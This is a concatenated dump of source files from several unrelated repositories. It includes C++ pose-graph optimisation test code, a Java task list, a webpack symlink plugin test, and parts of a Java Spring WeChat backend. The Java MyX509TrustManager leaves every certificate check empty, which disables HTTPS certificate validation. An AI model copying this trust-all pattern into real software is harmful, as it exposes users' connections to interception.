cammark.points.resize(ncams*6);
printf("Cams: %d\n", ncams);
for (int i=0, ii=0; i<ncams; ++i)
{
Node &nd = spa.nodes[i];
Vector3d opt;
Matrix<double,3,4> tr;
transformF2W(tr,nd.trans,Quaternion<double>(nd.qrot));
cammark.points[ii].x = nd.trans.x();
cammark.points[ii].y = nd.trans.z();
cammark.points[ii++].z = nd.trans.y();
opt = tr*Vector4d(0,0,0.3,1);
cammark.points[ii].x = opt.x();
cammark.points[ii].y = opt.z();
cammark.points[ii++].z = opt.y();
cammark.points[ii].x = nd.trans.x();
cammark.points[ii].y = nd.trans.z();
cammark.points[ii++].z = nd.trans.y();
opt = tr*Vector4d(0.1,0,0,1);
cammark.points[ii].x = opt.x();
cammark.points[ii].y = opt.z();
cammark.points[ii++].z = opt.y();
cammark.points[ii].x = nd.trans.x();
cammark.points[ii].y = nd.trans.z();
cammark.points[ii++].z = nd.trans.y();
opt = tr*Vector4d(0,0.1,0,1);
cammark.points[ii].x = opt.x();
cammark.points[ii].y = opt.z();
cammark.points[ii++].z = opt.y();
}
// draw links
int nlinks = spa.p2cons.size();
linkmark.points.resize(2*nlinks);
for (int i=0; i<nlinks; ++i)
{
ConP2 &con = spa.p2cons[i];
Node &nd0 = spa.nodes[con.ndr];
Node &nd1 = spa.nodes[con.nd1];
linkmark.points[i*2].x = nd0.trans.x();
linkmark.points[i*2].y = nd0.trans.z();
linkmark.points[i*2].z = nd0.trans.y();
linkmark.points[i*2+1].x = nd1.trans.x();
linkmark.points[i*2+1].y = nd1.trans.z();
linkmark.points[i*2+1].z = nd1.trans.y();
}
link_pub.publish(linkmark);
cam_pub.publish(cammark);
}
//
// setup of precision matrices
//
static Eigen::Matrix<double,6,6> n2prec, n2vprec, n2aprec, n2bprec, diagprec;
void initPrecs()
{
// set up some precision matrices
n2prec << 260312.1329351594, 17615.81091248868, -11716.3738046826,
-260221.3577238563, 3028947.570775249, 284048.6838048229,
17615.81091248783, 369156.349498884, -8122.584888439054,
-4130281.103526653, 265383.1196958761, 523737.7444220608,
-11716.3738046842, -8122.58488844048, 673.3469031685361,
93635.22686723019, -137533.0434459766, -22834.5012408561,
-260221.3577238639, -4130281.103526646, 93635.22686720481,
52493931.52684124, -4078689.933502881, -9475682.025736494,
3028947.570775286, 265383.119695912, -137533.0434459558,
-4078689.933502988, 39416288.19312727, 3894322.443643413,
284048.6838048277, 523737.7444220638, -22834.50124085596,
-9475682.025736755, 3894322.443643621, 50690679.29036696;
n2vprec << 624875.2423563644,-8.596260869004408e-11,10576.14746839753,
-65704.86829639168,10646337.23355757,646569.8439109828,
-1.045228848835824e-10,-2.955857780762017e-10,9.820269042393193e-10,
6.912159733474255e-09,-3.751665644813329e-09,-3.511559043545276e-08,
10576.14746839765,7.860307960072532e-10,224224.9112157905,
-233966.3120641535,77714.35666432518,65704.86829639639,
-65704.86829639156,8.021743269637227e-09,-233966.312064158,
7256072.962556601,-1242408.349188809,197719.0360238712,
10646337.23355758,-6.682398634438869e-09,77714.35666432098,
-1242408.349188721,214456943.0273151,11161674.13523376,
646569.8439109783,-3.356490196892992e-08,65704.86829639817,
197719.0360238167,11161674.13523367, 19698666.98402661;
n2aprec << 229528.3846633453, 886.7480854882738, -10039.08940223746, 62445.98594207098, 2715273.460194867, 106542.6230004076,
886.7480854885912, 319242.7032811134, -6397.916315207351, -3608430.146373766, -49269.13482550202, 582748.417531022,
-10039.08940223649, -6397.916315208951, 565.7603057193751, 69152.18264815415, -117569.9760459389, -16259.89068069827,
62445.98594206382, -3608430.146373736, 69152.1826481162, 47244836.25653829, 1303537.745687656, -9808843.224988466,
2715273.46019485, -49269.13482549335, -117569.9760459207, 1303537.745687651, 35830355.245529, 709155.852370202,
106542.623000413, 582748.4175310251, -16259.89068069991, -9808843.224988459, 709155.8523703497, 48304469.04982638;
n2bprec << 148324.039595044, 222.4623044457281, -19531.70697504873, -10192.06466578297, 1631677.485087357, 60190.82294241861,
222.4623044456828, 200041.4398061978, -4054.812572933995, -2258670.079144401, 29578.86052762273, 799843.0721628161,
-19531.70697504886, -4054.812572933865, 2652.99484259674, 46794.05582115334, -215409.6450292048, -24019.87801347017,
-10192.06466578462, -2258670.079144401, 46794.05582115659, 28945336.2353294, -434508.6610355716, -12934377.41525949,
1631677.485087361, 29578.86052762576, -215409.6450292043, -434508.6610355551, 20018126.98420228, 1153711.950184977,
60190.82294241752, 799843.0721628153, -24019.8780134693, -12934377.41525948, 1153711.950184968, 22955884.81085673;
#if 0
// this has zeros for rot-trans interaction
n2prec << 260312.1329351594, 17615.81091248868, -11716.3738046826, 0.0, 0.0, 0.0,
17615.81091248783, 369156.349498884, -8122.584888439054, 0.0, 0.0, 0.0,
-11716.3738046842, -8122.58488844048, 673.3469031685361, 0.0, 0.0, 0.0,
0.0, 0.0, 0.0, 52493931.52684124, -4078689.933502881, -9475682.025736494,
0.0, 0.0, 0.0, -4078689.933502988, 39416288.19312727, 3894322.443643413,
0.0, 0.0, 0.0, -9475682.025736755, 3894322.443643621, 50690679.29036696;
n2vprec << 624875.2423563644,-8.596260869004408e-11,10576.14746839753,0,0,0,
-1.045228848835824e-10,-2.955857780762017e-10,9.820269042393193e-10,0,0,0,
10576.14746839765,7.860307960072532e-10,224224.9112157905,0,0,0,
0,0,0, 7256072.962556601,-1242408.349188809,197719.0360238712,
0,0,0, -1242408.349188721,214456943.0273151,11161674.13523376,
0,0,0, 197719.0360238167,11161674.13523367, 19698666.98402661;
n2aprec << 229528.3846633453, 886.7480854882738, -10039.08940223746, 0,0,0,
886.7480854885912, 319242.7032811134, -6397.916315207351, 0,0,0,
-10039.08940223649, -6397.916315208951, 565.7603057193751, 0,0,0,
0,0,0, 47244836.25653829, 1303537.745687656, -9808843.224988466,
0,0,0, 1303537.745687651, 35830355.245529, 709155.852370202,
0,0,0, -9808843.224988459, 709155.8523703497, 48304469.04982638;
n2bprec << 148324.039595044, 222.4623044457281, -19531.70697504873, 0,0,0,
222.4623044456828, 200041.4398061978, -4054.812572933995, 0,0,0,
-19531.70697504886, -4054.812572933865, 2652.99484259674, 0,0,0,
0,0,0, 28945336.2353294, -434508.6610355716, -12934377.41525949,
0,0,0, -434508.6610355551, 20018126.98420228, 1153711.950184977,
0,0,0, -12934377.41525948, 1153711.950184968, 22955884.81085673;
#endif
#if 1
n2prec *= 1.0/100000.0;
n2vprec *= 1.0/100000.0;
n2aprec *= 1.0/100000.0;
n2bprec *= 1.0/100000.0;
#endif
diagprec.setIdentity();
diagprec = diagprec*(1000);
diagprec.diagonal().head(3) *= .0001;
}
//
// first argument is the name of input file, Bundler format
// expects good focal length and distortion correction
// runs sba
//
int main(int argc, char **argv)
{
// args
double lscale = 0.0;
double con_weight = 1.0;
printf("Args: <lscale 0.0> <scale weight 1.0>\n");
if (argc > 1)
lscale = atof(argv[1]);
if (argc > 2)
con_weight = atof(argv[2]);
// set up markers for visualization
ros::init(argc, argv, "VisBundler");
ros::NodeHandle n ("~");
ros::Publisher link_pub = n.advertise<visualization_msgs::Marker>("links", 0);
ros::Publisher cam_pub = n.advertise<visualization_msgs::Marker>("cameras", 0);
// set up system
SysSPA spa;
Node::initDr(); // set up fixed jacobians
initPrecs();
vector<Matrix<double,6,1>,Eigen::aligned_allocator<Matrix<double,6,1> > > cps;
double kfang = 5.0;
double kfrad = kfang*M_PI/180.0;
// create a spiral test trajectory
// connections are made between a frame and its three successors
spa.nFixed = 1; // three fixed frames
spa_spiral_setup(spa, true, cps, // use cross links
#if 1
n2prec, n2vprec, n2aprec, n2bprec, // rank-deficient
#else
diagprec, diagprec, diagprec, diagprec,
#endif
kfang, M_PI/2.0-3*kfrad, 220*kfang/360.0, // angle per node, init angle, total nodes
0.01, 1.0, 0.1, 0.1, 5.0); // node noise (m,deg), scale noise (increment),
cout << "[SPA Spiral] Initial cost is " << spa.calcCost() << endl;
cout << "[SPA Spiral] Number of constraints is " << spa.p2cons.size() << endl;
#if 0
// write out pose results and originals
cout << "[SPAsys] Writing pose file" << endl;
ofstream ofs3("P400.init.txt");
for (int i=0; i<(int)cps.size(); ++i)
{
Vector3d tpn = spa.nodes[i].trans.head(3);
ofs3 << tpn.transpose() << endl;
}
ofs3.close();
#endif
// add in distance constraint
// works with either n0 -> ni or ni -> ni+1 constraints
#if 1
ConScale con;
con.w = con_weight; // weight
for (int i=0; i<(int)cps.size()-3; ++i)
{
int k = i;
if (i > 200)
{
k = 0;
con.nd0 = i; // first node
con.nd1 = i+1; // second node
con.sv = k; // scale index
con.ks = (cps[con.nd1].head(3) - cps[con.nd0].head(3)).squaredNorm(); // measured distance
spa.scons.push_back(con);
con.nd0 = i+1; // first node
con.nd1 = i+2; // second node
con.sv = k; // scale index
con.ks = (cps[con.nd1].head(3) - cps[con.nd0].head(3)).squaredNorm(); // measured distance
spa.scons.push_back(con);
con.nd0 = i+2; // first node
con.nd1 = i+3; // second node
con.sv = k; // scale index
con.ks = (cps[con.nd1].head(3) - cps[con.nd0].head(3)).squaredNorm(); // measured distance
spa.scons.push_back(con);
con.nd0 = i; // first node
con.nd1 = i+3; // second node
con.sv = k; // scale index
con.ks = (cps[con.nd1].head(3) - cps[con.nd0].head(3)).squaredNorm(); // measured distance
spa.scons.push_back(con);
}
else
{
spa.scales.push_back(1.0);
Node nd0;
Node nd1;
con.nd0 = i; // first node
con.nd1 = i+1; // second node
con.sv = k; // scale index
nd0 = spa.nodes[con.nd0];
nd1 = spa.nodes[con.nd1];
con.ks = (nd1.trans.head(3) - nd0.trans.head(3)).squaredNorm(); // measured distance
spa.scons.push_back(con);
con.nd0 = i+1; // first node
con.nd1 = i+2; // second node
con.sv = k; // scale index
nd0 = spa.nodes[con.nd0];
nd1 = spa.nodes[con.nd1];
con.ks = (nd1.trans.head(3) - nd0.trans.head(3)).squaredNorm(); // measured distance
spa.scons.push_back(con);
con.nd0 = i+2; // first node
con.nd1 = i+3; // second node
con.sv = k; // scale index
nd0 = spa.nodes[con.nd0];
nd1 = spa.nodes[con.nd1];
con.ks = (nd1.trans.head(3) - nd0.trans.head(3)).squaredNorm(); // measured distance
spa.scons.push_back(con);
con.nd0 = i; // first node
con.nd1 = i+3; // second node
con.sv = k; // scale index
nd0 = spa.nodes[con.nd0];
nd1 = spa.nodes[con.nd1];
con.ks = (nd1.trans.head(3) - nd0.trans.head(3)).squaredNorm(); // measured distance
spa.scons.push_back(con);
}
#if 0 // doesn't seem to help...
if (i>2)
{
con.nd0 = i-3; // first node
con.nd1 = i+1; // second node
con.sv = 0; // scale index
con.ks = (cps[con.nd1].head(3) - cps[con.nd0].head(3)).squaredNorm(); // measured distance
spa.scons.push_back(con);
}
#endif
}
#endif
// add in cross-link distance constraint
// not much effect here...
#if 0
{
ConScale con;
con.w = 0.1; // weight
for (int i=72; i<(int)cps.size()-20; ++i)
{
con.nd0 = i; // first node
con.nd1 = i-2; // second node
con.sv = i-72; // scale index
Node nd0 = spa.nodes[con.nd0];
Node nd1 = spa.nodes[con.nd1];
con.ks = (nd1.trans.head(3) - nd0.trans.head(3)).squaredNorm(); // measured distance
con.ks = (cps[con.nd1].head(3) - cps[con.nd0].head(3)).squaredNorm(); // measured distance
spa.scons.push_back(con);
con.nd0 = i-72;
con.nd1 = i;
con.sv = i-72;
nd0 = spa.nodes[con.nd0];
nd1 = spa.nodes[con.nd1];
con.ks = (nd1.trans.head(3) - nd0.trans.head(3)).squaredNorm(); // measured distance
con.ks = (cps[con.nd1].head(3) - cps[con.nd0].head(3)).squaredNorm(); // measured distance
spa.scons.push_back(con);
}
}
#endif
// this adds in a global constraint connecting the two sides
// and connecting first and last points
if (lscale > 0.0)
{
// cross-links
#if 0
{
ConP2 con;
con.ndr = 0;
con.nd1 = 36;
Node nd0 = spa.nodes[con.ndr];
Node nd1 = spa.nodes[con.nd1];
Vector4d trans;
trans.head(3) = cps[con.nd1].head(3);
trans(3) = 1.0;
con.prec = 1000*diagprec;
con.tmean = lscale * nd0.w2n * trans; // translation offset
Quaternion<double> q0,q1;
q0.coeffs() = nd0.qrot;
q1.coeffs() = nd1.qrot;
con.qpmean = (q0.inverse()*q1).inverse();
spa.p2cons.push_back(con);
}
{
ConP2 con;
con.ndr = 72;
con.nd1 = 36+72;
Node nd0 = spa.nodes[con.ndr];
Node nd1 = spa.nodes[con.nd1];
Vector4d trans;
trans.head(3) = cps[con.nd1].head(3);
trans(3) = 1.0;
con.prec = 1000*diagprec;
Quaternion<double> q0,q1;
q0.vec() = cps[con.ndr].segment(3,3);
q0.w() = sqrt(1.0 - q0.vec().squaredNorm());
q1.vec() = cps[con.nd1].segment(3,3);
q1.w() = sqrt(1.0 - q1.vec().squaredNorm());
Matrix<double,3,4> w2n;
Vector4d t0;
t0.head(3) = cps[con.ndr].head(3);
t0(3) = 1.0;
transformW2F(w2n,t0,q0);
con.tmean = lscale * w2n * trans; // translation offset
con.qpmean = (q0.inverse()*q1).inverse();
spa.p2cons.push_back(con);
}
#endif // global cross-loop constraint
// global
{
ConP2 con;
con.ndr = 0;
con.nd1 = 3*72;
Node nd0 = spa.nodes[con.ndr];
Node nd1 = spa.nodes[con.nd1];
Vector4d trans;
trans.head(3) = cps[con.nd1].head(3);
trans(3) = 1.0;
con.prec = 1000*diagprec;
con.tmean = lscale * nd0.w2n * trans; // translation offset
Quaternion<double> q0,q1;
q0 = nd0.qrot;
q1 = nd1.qrot;
con.qpmean = (q0.inverse()*q1).inverse();
spa.p2cons.push_back(con);
}
} // end of global constraints
{
// test results
double sqerr = 0.0;
double asqerr = 0.0;
for (int i=0; i<(int)cps.size(); ++i)
{
Matrix<double,6,1> &cp = cps[i]; // old camera pose
Vector3d tp = cp.head(3);
Vector3d tpn = spa.nodes[i].trans.head(3);
// printf("\n[TestSPA] Cam %d orig: %0.2f %0.2f %0.2f\n", i, tp[0], tp[1], tp[2]);
// printf("[TestSPA] Cam %d new: %0.2f %0.2f %0.2f\n", i, tpn[0], tpn[1], tpn[2]);
Vector3d err = tp-tpn;
sqerr += err.squaredNorm();
Quaternion<double> qr;
qr.vec() = cp.block<3,1>(3,0);
qr.w() = sqrt(1.0 - qr.vec().squaredNorm());
Quaternion<double> qn;
qn = spa.nodes[i].qrot;
double da = qr.angularDistance(qn);
asqerr += da;
}
sqerr = sqerr / (double)(cps.size());
asqerr = asqerr / (double)(cps.size());
printf("\n[TestSPA] RMSE pos is %0.3f m, angle is %0.3f deg\n",
sqrt(sqerr), sqrt(asqerr));
}
// why do we have to draw twice????
cout << endl << "drawing..." << endl << endl;
drawgraph(spa,cam_pub,link_pub);
sleep(1);
drawgraph(spa,cam_pub,link_pub);
printf("Press <ret> to continue\n");
getchar();
// optimize
int iters = 20;
long long t0, t1;
double ttime = 0.0;
for (int i=0; i<iters; ++i)
{
t0 = utime();
int niters = spa.doSPA(1,0.0);
t1 = utime();
ttime += (double)(t1-t0);
drawgraph(spa,cam_pub,link_pub);
sleep(1);
}
printf("[TestSPA] Compute took %0.2f ms/iter\n", 0.001*ttime/(double)iters);
#if 0
// write out A matrix
spa.setupSys(0.0);
cout << "[SPAsys] Writing file" << endl;
spa.writeSparseA("A400mono.txt");
#endif
#if 0
// write out pose results and originals
cout << "[SPAsys] Writing pose file" << endl;
ofstream ofs1("P400.ground.txt");
ofstream ofs2("P400.optim.txt");
for (int i=0; i<(int)cps.size(); ++i)
{
Matrix<double,6,1> &cp = cps[i]; // old camera pose
Vector3d tp = cp.head(3);
Vector3d tpn = spa.nodes[i].trans.head(3);
// printf("\n[TestSPA] Cam %d orig: %0.2f %0.2f %0.2f\n", i, tp[0], tp[1], tp[2]);
// printf("[TestSPA] Cam %d new: %0.2f %0.2f %0.2f\n", i, tpn[0], tpn[1], tpn[2]);
ofs1 << tp.transpose() << endl;
ofs2 << tpn.transpose() << endl;
}
ofs1.close();
ofs2.close();
#endif
// test results
double sqerr = 0.0;
double asqerr = 0.0;
for (int i=0; i<(int)cps.size(); ++i)
{
Matrix<double,6,1> &cp = cps[i]; // old camera pose
Vector3d tp = cp.head(3);
Vector3d tpn = spa.nodes[i].trans.head(3);
// printf("\n[TestSPA] Cam %d orig: %0.2f %0.2f %0.2f\n", i, tp[0], tp[1], tp[2]);
// printf("[TestSPA] Cam %d new: %0.2f %0.2f %0.2f\n", i, tpn[0], tpn[1], tpn[2]);
Vector3d err = tp-tpn;
sqerr += err.squaredNorm();
Quaternion<double> qr;
qr.vec() = cp.block<3,1>(3,0);
qr.w() = sqrt(1.0 - qr.vec().squaredNorm());
Quaternion<double> qn;
qn = spa.nodes[i].qrot;
double da = qr.angularDistance(qn);
asqerr += da;
}
sqerr = sqerr / (double)(cps.size());
asqerr = asqerr / (double)(cps.size());
printf("\n[TestSPA] RMSE pos is %0.3f m, angle is %0.3f deg\n",
sqrt(sqerr), sqrt(asqerr));
// draw graph
cout << endl << "drawing..." << endl << endl;
drawgraph(spa,cam_pub,link_pub);
return 0;
}
|
375564f917ac5a8d28320deb29df6401f2969a3a
|
[
"CMake",
"C++"
] | 10 |
CMake
|
po1/sba
|
8425d6aa22b7ff4e52d408daacf1484f7b2ebf52
|
754be903f9785ca41815e2615fcc64c8c24463f6
|
refs/heads/master
|
<file_sep>package com.maktab.task.repository;
import com.maktab.task.controller.fragment.mainFragment;
import com.maktab.task.model.StateEnum;
import com.maktab.task.model.Task;
import java.util.ArrayList;
import java.util.List;
public class TaskRepository {
public int TASK_SIZE =mainFragment.num ;
private static TaskRepository sInstance;
private List<Task> mTasks;
public static TaskRepository getInstance() {
if (sInstance == null)
sInstance = new TaskRepository();
return sInstance;
}
public List<Task> getTasks() {
return mTasks;
}
public void setTasks(List<Task> mTasks) {
this.mTasks = mTasks;
}
private TaskRepository() {
int rand;
StateEnum temp = StateEnum.Todo;
mTasks = new ArrayList<>();
for (int i = 0; i < TASK_SIZE; i++) {
Task task = new Task();
task.setName("task" + i);
rand = makeRandom();
if (rand==1)
task.setStateEnum(temp.Todo);
if (rand==2)
task.setStateEnum(temp.Done);
if (rand==3)
task.setStateEnum(temp.Doing);
mTasks.add(task);
}
}
private int makeRandom() {
int min, max, randOrder;
max = 3;
min = 1;
randOrder = (int) (Math.random() * ((max - min) + 1)) + min;
return randOrder;
}
}
|
1b807330f9e8bc64795a8256ea03ed0bea994b3e
|
[
"Java"
] | 1 |
Java
|
leilaabedi/ListTask
|
dbf0a79190e27af139f863bc0189f623a606569a
|
54a5688e18d7dccb66afe6290606872a5c57db0e
|
refs/heads/master
|
<repo_name>khalwat/symlink-webpack-plugin<file_sep>/test/index.js
import { expect } from 'chai';
import webpack from 'webpack';
import path from 'path';
import fs from 'fs';
import fse from 'fs-extra'
const SymlinkWebpackPlugin = require('./../dist/index');
const testDir = path.resolve(__dirname, '../test_dist');
const entryFile = path.resolve(__dirname, './helpers/main.js');
const removeWorkingDir = (done) => {
fse.remove(testDir, (err) => done());
};
const webpackOption = (plugin) => {
return {
entry: {
app: entryFile
},
output: {
path: testDir,
filename: '[name].js'
},
plugins: [plugin]
};
};
describe('SymlinkWebpackPlugin', () => {
beforeEach(removeWorkingDir);
afterEach(removeWorkingDir);
context('Configure with array', () => {
const asArray = new SymlinkWebpackPlugin(
[{ origin: 'app.js', symlink: 'symlink.js' }]
);
it('should make symbolic link', (done) => {
webpack(webpackOption(asArray)).run((err, stats) => {
expect(fs.lstatSync(testDir + '/symlink.js').isSymbolicLink()).to.be.true;
expect(fs.readlinkSync(testDir + '/symlink.js')).to.eq('app.js');
done();
});
});
});
context('Configure without array', () => {
const nonArray = new SymlinkWebpackPlugin(
{ origin: 'app.js', symlink: 'symlinkByNoArray.js' }
);
it('should make symbolic link', (done) => {
webpack(webpackOption(nonArray)).run((err, stats) => {
expect(fs.lstatSync(testDir + '/symlinkByNoArray.js').isSymbolicLink()).to.be.true;
expect(fs.readlinkSync(testDir + '/symlinkByNoArray.js')).to.eq('app.js');
done();
});
});
});
it('should not pollute process.cwd()', (done) => {
const cwd = process.cwd();
const plugin = new SymlinkWebpackPlugin(
[{ origin: 'app.js', symlink: 'symlink.js' }]
);
webpack(webpackOption(plugin)).run((err, stats) => {
expect(process.cwd()).to.eq(cwd);
done();
});
});
});
|
07c56284122a7d94d7c53b767aa641c0a12ba369
|
[
"JavaScript"
] | 1 |
JavaScript
|
khalwat/symlink-webpack-plugin
|
5a5343c8836eef5990826f278f2381c539089ae0
|
0d8ebe7ca258fc9ffe1009c96d13b4c0d811fd0e
|
refs/heads/master
|
<repo_name>simon5408/fornow<file_sep>/src/main/java/com/fn/fornow/common/util/MyX509TrustManager.java
/*****************************************************************************
*
* FORNOW PROPRIETARY INFORMATION
*
* The information contained herein is proprietary to ForNow
* and shall not be reproduced or disclosed in whole or in part
* or used for any design or manufacture
* without direct written authorization from ForNow.
*
* Copyright (c) 2014 by ForNow. All rights reserved.
*
*****************************************************************************/
package com.fn.fornow.common.util;
import java.security.cert.CertificateException;
import java.security.cert.X509Certificate;
import javax.net.ssl.X509TrustManager;
/**
* 证书信任管理器（用于https请求）
*
* @author <NAME>
* @date Apr 16, 2014
*/
public class MyX509TrustManager implements X509TrustManager {
/* (non-Javadoc)
* @see javax.net.ssl.X509TrustManager#checkClientTrusted(java.security.cert.X509Certificate[], java.lang.String)
*/
@Override
public void checkClientTrusted(X509Certificate[] arg0, String arg1)
throws CertificateException {
// TODO Auto-generated method stub
}
/* (non-Javadoc)
* @see javax.net.ssl.X509TrustManager#checkServerTrusted(java.security.cert.X509Certificate[], java.lang.String)
*/
@Override
public void checkServerTrusted(X509Certificate[] arg0, String arg1)
throws CertificateException {
// TODO Auto-generated method stub
}
/* (non-Javadoc)
* @see javax.net.ssl.X509TrustManager#getAcceptedIssuers()
*/
@Override
public X509Certificate[] getAcceptedIssuers() {
// TODO Auto-generated method stub
return null;
}
}
<file_sep>/src/main/java/com/fn/fornow/weixin/pojo/Menu.java
/*****************************************************************************
*
* FORNOW PROPRIETARY INFORMATION
*
* The information contained herein is proprietary to ForNow
* and shall not be reproduced or disclosed in whole or in part
* or used for any design or manufacture
* without direct written authorization from ForNow.
*
* Copyright (c) 2014 by ForNow. All rights reserved.
*
*****************************************************************************/
package com.fn.fornow.weixin.pojo;
/**
* 菜单
*
* @author <NAME>
* @date Apr 16, 2014
*/
public class Menu {
private Button[] button;
/**
* @return the button
*/
public Button[] getButton() {
return button;
}
/**
* @param button the button to set
*/
public void setButton(Button[] button) {
this.button = button;
}
}
<file_sep>/src/main/java/com/fn/fornow/base/controller/UsersController.java
/**
*
*/
package com.fn.fornow.base.controller;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import org.springframework.stereotype.Controller;
import org.springframework.ui.Model;
import org.springframework.web.bind.annotation.PathVariable;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestMethod;
import com.fn.fornow.base.entity.Users;
import com.fn.fornow.common.ViewName;
import com.fn.fornow.common.bean.Page;
import com.fn.fornow.common.controller.CommonController;
import com.fn.fornow.common.controller.Module;
import com.fn.fornow.common.controller.path.ResultPath;
import com.fn.fornow.common.helper.JSONHelper;
import com.fn.fornow.common.util.CipherUtil;
import com.fn.fornow.common.util.HttpUtils;
import com.fn.fornow.demo.entity.ReturnJsonBean;
import com.fn.fornow.enums.ReturnModule;
/**
* @author <NAME>
* @since Oct 29, 2013
*/
@Controller
@RequestMapping(ResultPath.user)
public class UsersController extends CommonController {
@RequestMapping
public String list(Page page, HttpServletRequest request,
HttpServletResponse response) {
userService.findPage(page);
return forward(ViewName.list);
}
@RequestMapping(value = "/register-new", method = RequestMethod.GET)
public String register(Model model) {
model.addAttribute("errorMessages", "");
return forward(ViewName.insert);
}
@RequestMapping(value = "/register", method = RequestMethod.POST)
public String createUser(Model model, Users user) {
logger.debug("create: user[{}]", user);
if (userService.getUserByName(user.getUsername()) != null) {
model.addAttribute("errorMessages", "用户名重复");
return forward(ViewName.insert);
}
user.setPassword(CipherUtil.generatePassword(user.getPassword()));
userService.save(user);
return redirect(ResultPath.user);
}
@RequestMapping(value = "/login", method = RequestMethod.POST)
public String login(HttpServletRequest request, Model model, Users user) {
String username = user.getUsername();
String password = user.getPassword();
logger.debug("login: username[{}]", username);
logger.debug("login: password[{}]", password);
user.setPassword(CipherUtil.generatePassword(password));
if (!userService.isExistUser(user)) {
model.addAttribute("errorMessages", "填写有错");
return ResultPath.login;
}
return redirect(ResultPath.user);
}
@RequestMapping(value = "/app/login", method = RequestMethod.POST)
public void appLogin(HttpServletRequest request,
HttpServletResponse response) throws Exception {
Users user = JSONHelper.fromJson(HttpUtils.getReqJson(request),
Users.class);
if (!userService.isExistUser(user)) {
HttpUtils.respWrite(response, new ReturnJsonBean(
ReturnModule.success.getStatus()).toJson());
} else {
HttpUtils.respWrite(response, JSONHelper.toJson(userService
.getUserByName(user.getUsername())));
}
}
@RequestMapping("/edit/{id}")
public String edit(@PathVariable long id, Model model) {
logger.debug("edit: id[{}]", id);
model.addAttribute("user", userService.get(id));
return forward(ViewName.edit);
}
@RequestMapping(value = "/update/{user.userid}", method = RequestMethod.POST)
public String update(Users user) {
user.setPassword(CipherUtil.generatePassword(user.getPassword()));
userService.saveOrUpdate(user);
return redirect(ResultPath.user);
}
@RequestMapping("/destroy/{id}")
public String destroy(@PathVariable long id) {
logger.debug("destroy: id[{}]", id);
userService.delete(id);
return redirect(ResultPath.user);
}
/*
* (non-Javadoc)
*
* @see com.fn.fornow.common.controller.CommonController#getModule()
*/
@Override
protected String getModule() {
return Module.example.getName();
}
}
<file_sep>/src/main/java/com/fn/fornow/base/service/impl/ResourceServiceImpl.java
/**
*
*/
package com.fn.fornow.base.service.impl;
import org.springframework.stereotype.Service;
import com.fn.fornow.base.entity.Resource;
import com.fn.fornow.base.service.ResourceService;
import com.fn.fornow.common.orm.dao.HibernateDaoSupport;
/**
* @author <NAME>
* @since Oct 31, 2013
*/
@Service
public class ResourceServiceImpl extends HibernateDaoSupport<Resource> implements
ResourceService {
}
<file_sep>/src/main/java/com/fn/fornow/common/helper/ApplicationContextHelper.java
/*****************************************************************************
*
* FORNOW PROPRIETARY INFORMATION
*
* The information contained herein is proprietary to ForNow
* and shall not be reproduced or disclosed in whole or in part
* or used for any design or manufacture
* without direct written authorization from ForNow.
*
* Copyright (c) 2014 by ForNow. All rights reserved.
*
*****************************************************************************/
package com.fn.fornow.common.helper;
import org.springframework.beans.BeansException;
import org.springframework.context.ApplicationContext;
import org.springframework.context.ApplicationContextAware;
/**
* @author <NAME>
* @date Apr 23, 2014 11:24:21 AM
* @email <EMAIL>
*
*/
public class ApplicationContextHelper implements ApplicationContextAware {
private static ApplicationContext applicationContext;
/*
* (non-Javadoc)
*
* @see
* org.springframework.context.ApplicationContextAware#setApplicationContext
* (org.springframework.context.ApplicationContext)
*/
@Override
public void setApplicationContext(ApplicationContext applicationContext)
throws BeansException {
ApplicationContextHelper.applicationContext = applicationContext;
}
public static Object getBean(String beanName) {
return applicationContext.getBean(beanName);
}
}
<file_sep>/src/main/java/com/fn/fornow/base/entity/RoleResource.java
/**
*
*/
package com.fn.fornow.base.entity;
import javax.persistence.Column;
import javax.persistence.Entity;
import javax.persistence.FetchType;
import javax.persistence.GeneratedValue;
import javax.persistence.Id;
import javax.persistence.JoinColumn;
import javax.persistence.OneToOne;
import javax.persistence.Table;
import org.hibernate.annotations.GenericGenerator;
import com.fn.fornow.common.Cons;
import com.fn.fornow.common.orm.entity.BaseEntity;
/**
* @author <NAME>
* @since Oct 31, 2013
*/
@SuppressWarnings("serial")
@Entity
@Table(name = Cons.simonswPrefix + "role_resource")
public class RoleResource extends BaseEntity {
@Id
@GeneratedValue(generator = "increment")
@GenericGenerator(name = "increment", strategy = "increment")
@Column(name = "role_rs_id")
private Long rolersid;
@OneToOne(fetch = FetchType.LAZY)
@JoinColumn(name = "role_id")
private Role role;
@OneToOne(fetch = FetchType.LAZY)
@JoinColumn(name = "resource_id")
private Resource resource;
/**
* @return the rolersid
*/
public Long getRolersid() {
return rolersid;
}
/**
* @param rolersid the rolersid to set
*/
public void setRolersid(Long rolersid) {
this.rolersid = rolersid;
}
/**
* @return the role
*/
public Role getRole() {
return role;
}
/**
* @param role the role to set
*/
public void setRole(Role role) {
this.role = role;
}
/**
* @return the resource
*/
public Resource getResource() {
return resource;
}
/**
* @param resource the resource to set
*/
public void setResource(Resource resource) {
this.resource = resource;
}
}
<file_sep>/src/main/java/com/fn/fornow/weixin/message/response/NewsMessage.java
/*****************************************************************************
*
* FORNOW PROPRIETARY INFORMATION
*
* The information contained herein is proprietary to ForNow
* and shall not be reproduced or disclosed in whole or in part
* or used for any design or manufacture
* without direct written authorization from ForNow.
*
* Copyright (c) 2014 by ForNow. All rights reserved.
*
*****************************************************************************/
package com.fn.fornow.weixin.message.response;
import java.util.List;
/**
* News消息
*
* @author <NAME>
* @date Apr 15, 2014
*/
public class NewsMessage extends BaseMessage {
// 图文消息个数，限制为10条以内
private int articleCount;
// 多条图文消息信息，默认第一个item为大图
private List<Article> articles;
/**
* @return the articleCount
*/
public int getArticleCount() {
return articleCount;
}
/**
* @param articleCount the articleCount to set
*/
public void setArticleCount(int articleCount) {
this.articleCount = articleCount;
}
/**
* @return the articles
*/
public List<Article> getArticles() {
return articles;
}
/**
* @param articles the articles to set
*/
public void setArticles(List<Article> articles) {
this.articles = articles;
}
}
<file_sep>/src/main/java/com/fn/fornow/security/MyAccessDecisionManager.java
/**
*
*/
package com.fn.fornow.security;
import java.util.Collection;
import java.util.Iterator;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import org.springframework.security.access.AccessDecisionManager;
import org.springframework.security.access.AccessDeniedException;
import org.springframework.security.access.ConfigAttribute;
import org.springframework.security.authentication.InsufficientAuthenticationException;
